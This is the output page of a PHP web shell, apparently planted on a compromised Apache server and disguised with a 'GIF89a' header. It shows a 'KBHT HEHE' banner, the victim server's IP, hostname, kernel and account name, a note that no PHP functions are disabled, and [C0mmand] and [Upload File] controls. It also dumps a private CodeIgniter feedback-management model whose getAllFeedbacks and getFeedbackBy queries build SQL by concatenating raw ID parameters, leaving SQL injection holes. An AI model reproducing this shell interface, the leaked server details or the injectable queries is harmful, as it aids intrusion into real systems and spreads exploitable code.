GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.191.87.157
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../cas/application/models/admin/FeedbackManagement.php
<?php

/**
 * Model Class For Handling All Feedback Related DB Operations
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class FeedbackManagement extends CI_Model {

    function createNewFeedback(array $newFeedbackInfo) {
        $this->db->insert('tbl_feedbacks', $newFeedbackInfo);
        return $this->db->insert_id();
    }

    function getAllFeedbacks($smember_id = '') {
        if ($smember_id == '') {
            $sql = "SELECT TFDB.fb_id,TFDB.fb_subject,TFDB.fb_detail,TFDB.fb_extension_no,TFDB.fb_image_file,TFDB.fb_seen_on,"
                    . "TFDB.fb_locked_on,FLAG_DECODER('FEEDBACK_PROGRESS',TFDB.fb_resolve_status) fb_resolve_status,TFDB.fb_resolve_status fb_resolve_status_flag,"
                    . "TFDB.fb_resolved_on,TFDB.fb_resolve_remarks,TFDB.fb_submitted_on, "
                    . "CONCAT(TPS.tprfl_firstname,' ',TPS.tprfl_lastname)fb_submitted_by,"
                    . "CONCAT(TPSS.tprfl_firstname,' ',TPSS.tprfl_lastname)fb_seen_by_user,"
                    . "CONCAT(TPSR.tprfl_firstname,' ',TPSR.tprfl_lastname)fb_resolved_by_user, "
                    . "CONCAT(TPSL.tprfl_firstname,' ',TPSL.tprfl_lastname)fb_locked_by_user, "
                    . "TFDB.fb_seen_by, TFDB.fb_locked_by , TFDB.fb_resolved_by FROM tbl_feedbacks TFDB, "
                    . "tbl_staff_members TSMS, tbl_profile TPS, tbl_logindetails TLDS,tbl_staff_members TSMSS, "
                    . "tbl_profile TPSS, tbl_logindetails TLDSS,tbl_staff_members TSMSR, tbl_profile TPSR, "
                    . "tbl_logindetails TLDSR, tbl_staff_members TSMSL, tbl_profile TPSL,tbl_logindetails TLDSL "
                    . "WHERE TFDB.fb_submitted_by = TSMS.smember_id AND TSMS.tprfl_id = TPS.tprfl_id "
                    . "AND TSMS.tld_id = TLDS.tld_id AND TFDB.fb_seen_by = TSMSS.smember_id AND TSMSS.tprfl_id = TPSS.tprfl_id "
                    . "AND TSMSS.tld_id = TLDSS.tld_id AND TFDB.fb_resolved_by = TSMSR.smember_id AND "
                    . "TSMSR.tprfl_id = TPSR.tprfl_id AND TSMSR.tld_id = TLDSR.tld_id "
                    . "AND TFDB.fb_locked_by = TSMSL.smember_id AND TSMSL.tprfl_id = TPSL.tprfl_id AND TSMSL.tld_id = TLDSL.tld_id "
                    . "ORDER BY TFDB.fb_submitted_on DESC";
        } else {
            $sql = "SELECT TFDB.fb_id,TFDB.fb_subject,TFDB.fb_detail,TFDB.fb_extension_no,TFDB.fb_image_file,TFDB.fb_seen_on,"
                    . "TFDB.fb_locked_on,FLAG_DECODER('FEEDBACK_PROGRESS',TFDB.fb_resolve_status) fb_resolve_status,"
                    . "TFDB.fb_resolved_on,TFDB.fb_resolve_remarks,TFDB.fb_submitted_on, "
                    . "CONCAT(TPS.tprfl_firstname,' ',TPS.tprfl_lastname)fb_submitted_by,"
                    . "CONCAT(TPSS.tprfl_firstname,' ',TPSS.tprfl_lastname)fb_seen_by_user,"
                    . "CONCAT(TPSR.tprfl_firstname,' ',TPSR.tprfl_lastname)fb_resolved_by_user, "
                    . "TFDB.fb_seen_by, TFDB.fb_locked_by , TFDB.fb_resolved_by FROM tbl_feedbacks TFDB, "
                    . "tbl_staff_members TSMS, tbl_profile TPS, tbl_logindetails TLDS,tbl_staff_members TSMSS, "
                    . "tbl_profile TPSS, tbl_logindetails TLDSS,tbl_staff_members TSMSR, tbl_profile TPSR, "
                    . "tbl_logindetails TLDSR WHERE TFDB.fb_submitted_by = TSMS.smember_id AND TSMS.tprfl_id = TPS.tprfl_id "
                    . "AND TSMS.tld_id = TLDS.tld_id AND TFDB.fb_seen_by = TSMSS.smember_id AND TSMSS.tprfl_id = TPSS.tprfl_id "
                    . "AND TSMSS.tld_id = TLDSS.tld_id AND TFDB.fb_resolved_by = TSMSR.smember_id AND "
                    . "TSMSR.tprfl_id = TPSR.tprfl_id AND TSMSR.tld_id = TLDSR.tld_id AND TFDB.fb_submitted_by = " . $smember_id
                    . " ORDER BY TFDB.fb_submitted_on DESC";
        }
        return $this->db->query($sql);
    }

    function getFeedbackBy($fb_id) {
        $sql = "SELECT TFDB.fb_id,TFDB.fb_subject,TFDB.fb_detail,TFDB.fb_extension_no,TFDB.fb_image_file,TFDB.fb_seen_on,"
                . "TFDB.fb_locked_on,FLAG_DECODER('FEEDBACK_PROGRESS',TFDB.fb_resolve_status) fb_resolve_status,TFDB.fb_resolve_status fb_resolve_status_flag,"
                . "TFDB.fb_resolved_on,TFDB.fb_resolve_remarks,TFDB.fb_submitted_on, "
                . "CONCAT(TPS.tprfl_firstname,' ',TPS.tprfl_lastname)fb_submitted_by,"
                . "CONCAT(TPSS.tprfl_firstname,' ',TPSS.tprfl_lastname)fb_seen_by_user,"
                . "CONCAT(TPSR.tprfl_firstname,' ',TPSR.tprfl_lastname)fb_resolved_by_user, "
                . "CONCAT(TPSL.tprfl_firstname,' ',TPSL.tprfl_lastname)fb_locked_by_user, "
                . "TFDB.fb_seen_by, TFDB.fb_locked_by , TFDB.fb_resolved_by FROM tbl_feedbacks TFDB, "
                . "tbl_staff_members TSMS, tbl_profile TPS, tbl_logindetails TLDS,tbl_staff_members TSMSS, "
                . "tbl_profile TPSS, tbl_logindetails TLDSS,tbl_staff_members TSMSR, tbl_profile TPSR, "
                . "tbl_logindetails TLDSR, tbl_staff_members TSMSL, tbl_profile TPSL,tbl_logindetails TLDSL "
                . "WHERE TFDB.fb_submitted_by = TSMS.smember_id AND TSMS.tprfl_id = TPS.tprfl_id "
                . "AND TSMS.tld_id = TLDS.tld_id AND TFDB.fb_seen_by = TSMSS.smember_id AND TSMSS.tprfl_id = TPSS.tprfl_id "
                . "AND TSMSS.tld_id = TLDSS.tld_id AND TFDB.fb_resolved_by = TSMSR.smember_id AND "
                . "TSMSR.tprfl_id = TPSR.tprfl_id AND TSMSR.tld_id = TLDSR.tld_id "
                . "AND TFDB.fb_locked_by = TSMSL.smember_id AND TSMSL.tprfl_id = TPSL.tprfl_id AND TSMSL.tld_id = TLDSL.tld_id "
                . "AND TFDB.fb_id = " . $fb_id . " ORDER BY TFDB.fb_submitted_on DESC";
        return $this->db->query($sql);
    }

    function updateFeedback(array $feedbackUpdatedInfo) {
        $this->db->where('fb_id', $feedbackUpdatedInfo['fb_id']);
        return $this->db->update('tbl_feedbacks', $feedbackUpdatedInfo);
    }

    /* Functions For Correction Requests */

    function createNewCorrectionRequest(array $newCorrectionRequestInfo) {
        $this->db->insert('tbl_student_correction_request', $newCorrectionRequestInfo);
        return $this->db->insert_id();
    }

    function getAllCorrectionRequests($tspi_id = '') {
        $this->db->select("*");
        $this->db->from('tbl_student_correction_request TSCM');
        if ($tspi_id != '') {
            $this->db->where("TSCM.tspi_id", $tspi_id);
        } else {
            $this->db->join('tbl_student_personal_info TSPI', "TSCM.tspi_id = TSPI.tspi_id");
            $this->db->join('tbl_univ_course_session_mapping TUCSM', "TSPI.ucs_map_id = TUCSM.ucs_map_id");
            $this->db->join('tbl_course_sub_master TCSM', "TUCSM.sub_course_id = TCSM.tcsm_id");
            $this->db->join('tbl_course_master TCM', "TCSM.course_id = TCM.course_id");
            $this->db->join('tbl_session_master TSM', "TUCSM.session_id = TSM.session_id");
        }
        $this->db->order_by("TSCM.tscr_created_on", "desc");
        return $this->db->get();
    }
    
    function updateCorrectionRequests(array $correctionRequestUpdatedInfo) {
        $this->db->where('tscr_id', $correctionRequestUpdatedInfo['tscr_id']);
        return $this->db->update('tbl_student_correction_request', $correctionRequestUpdatedInfo);
    }

}

KBHT - 2023